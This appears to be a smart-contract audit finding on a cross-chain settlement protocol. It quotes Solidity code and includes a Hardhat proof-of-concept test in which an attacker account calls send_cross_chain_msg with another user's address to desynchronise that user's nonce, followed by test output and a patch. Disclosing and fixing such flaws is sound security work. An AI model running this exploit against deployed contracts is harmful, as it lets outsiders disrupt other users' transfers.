            {
                // Increment nonce for the sender
                nonce_manager[msg.sender] += 1;
            }

            uint256 txid = uint256(
                keccak256(
                    abi.encodePacked(
                        chain,
                        to_chain,
                        msg.sender, // from address for settlement to calculate txid
                        address(this), //  from handler for settlement to calculate txid
                        to_handler,
                        nonce_manager[msg.sender]
                    )
                )
            );
            emit CrossChainLocked(
                txid,
                msg.sender,
                to,
                chain,
                to_chain,
                address(this),
                to_token,
                amount,
                mode
            );
    ///Handler code
                // Send the cross chain msg
                settlement.send_cross_chain_msg(
                    to_chain,
                    msg.sender,
                    to_handler,
                    PayloadType.ERC20,
                    cross_chain_msg_bytes
                );
///Settlement code
        nonce_manager[from_address] += 1;

        address from_handler = msg.sender;

        uint256 txid = uint256(
            keccak256(
                abi.encodePacked(
                    contract_chain_name, // from chain
                    to_chain,
                    from_address, // msg.sender address
                    from_handler, // settlement handler address
                    to_handler,
                    nonce_manager[from_address]
                )
            )
        );

        emit CrossChainMsg(
            txid,
            from_address,
            contract_chain_name,
            to_chain,
            from_handler,
            to_handler,
            payload_type,
            payload
        );
            uint256 txid = uint256(
                keccak256(
                    abi.encodePacked(
                        chain,
                        to_chain,
                        msg.sender, // from address for settlement to calculate txid
                        address(this), //  from handler for settlement to calculate txid
                        to_handler,
                        nonce_manager[msg.sender]
                    )
                )
            );
                // Send the cross chain msg
                settlement.send_cross_chain_msg(
                    to_chain,
                    msg.sender,
                    to_handler,
                    PayloadType.ERC20,
                    cross_chain_msg_bytes
                );
        function send_cross_chain_msg(
            string memory to_chain,
            address from_address,
            uint256 to_handler,
            PayloadType payload_type,
            bytes calldata payload
        ) external {
            nonce_manager[from_address] += 1;

            address from_handler = msg.sender;

            uint256 txid = uint256(
                keccak256(
                    abi.encodePacked(
                        contract_chain_name, // from chain
                        to_chain,
                        from_address, // msg.sender address
                        from_handler, // settlement handler address
                        to_handler,
                        nonce_manager[from_address]
                    )
                )
            );
        it('Test Manipulate another settlement contract user nonce', async () => {
            const [
                sender,
                receiver,
                attacker,
            ] = await hre.ethers.getSigners();
            const { tokenInstance, tokenOperator, codecInstance, settlmentInstance, tokenOwner, settlementHandlerInstance, settlementHnadlerOwner, messageLibTestInstance } = await loadFixture(deploySettlementHandlerFixtureMintBurn);

            const senderAddress = await sender.getAddress()
            const receiverAddress = await receiver.getAddress()
            const settlementHandlerAddress = await settlementHandlerInstance.getAddress()
            const totalAmount = 1000000;
            await tokenInstance.connect(tokenOperator).mint_to(sender, totalAmount);


            const toChain = "dst"
            const toHandler = 1
            const toToken = 1
            const receiverAddressU256 = hre.ethers.toBigInt(Buffer.from(receiverAddress.slice(2), 'hex'))
            const amount = 1000

            await tokenInstance.connect(sender).approve(settlementHandlerAddress, 1000)

            const tx = await settlementHandlerInstance.connect(sender).cross_chain_erc20_settlement(
                toChain,
                toHandler,
                toToken,
                receiverAddressU256,
                amount
            )
            const nonceBefore = await settlmentInstance.nonce_manager(senderAddress);
            console.log("Nonce value in settlement contract before attack:", nonceBefore.toString());

            const payloadType = 5; // Assuming a payload type, e.g., for an ERC20 transfer
            const payload = "0x616263"; // Example payload data ("abc" in hex)
            await(settlmentInstance.connect(attacker).send_cross_chain_msg(
                toChain,
                senderAddress, // sender address to target
                toHandler,
                payloadType,
                payload,
            ));
            const nonceAfter = await settlmentInstance.nonce_manager(senderAddress);
            console.log("Nonce value in settlement contract after attack:", nonceAfter.toString());

            const handlerNonce = await settlementHandlerInstance.nonce_manager(senderAddress);
            console.log("Handler Contract User Nonce: ", handlerNonce.toString());
            expect(nonceAfter).to.be.not.equal(handlerNonce);

        });
    ChakraSettlementHandler
        _ Should work in MintBurn mode (1238ms)
    Nonce value in settlement contract before attack: 1
    Nonce value in settlement contract after attack: 2
    Han```dler Contract User Nonce:  1
    diff --git a/solidity/settlement/contracts/BaseSettlement.sol b/solidity/settlement/contracts/BaseSettlement.sol
    index 7ac72a2..bd2ce00 100644
    --- a/solidity/settlement/contracts/BaseSettlement.sol
    +++ b/solidity/settlement/contracts/BaseSettlement.sol
    @@ -38,7 +38,8 @@ abstract contract BaseSettlement is
         ISettlementSignatureVerifier public signature_verifier;

         // Mapping for nonce manager and validators
    -    mapping(address => uint256) public nonce_manager;
    +    //mapping(address => uint256) public nonce_manager;
    +    mapping(address => mapping(address => uint256)) public nonce_manager;
         mapping(address => bool) public chakra_validators;
         uint256 public validator_count;

    diff --git a/solidity/settlement/contracts/ChakraSettlement.sol b/solidity/settlement/contracts/ChakraSettlement.sol
    index ad764f2..4c2b0c5 100644
    --- a/solidity/settlement/contracts/ChakraSettlement.sol
    +++ b/solidity/settlement/contracts/ChakraSettlement.sol
    @@ -115,9 +115,10 @@ contract ChakraSettlement is BaseSettlement {
             PayloadType payload_type,
             bytes calldata payload
         ) external {
    -        nonce_manager[from_address] += 1;
    +        // nonce_manager[from_address] += 1;

             address from_handler = msg.sender;
    +        nonce_manager[from_handler][from_address] += 1;

             uint256 txid = uint256(
                 keccak256(
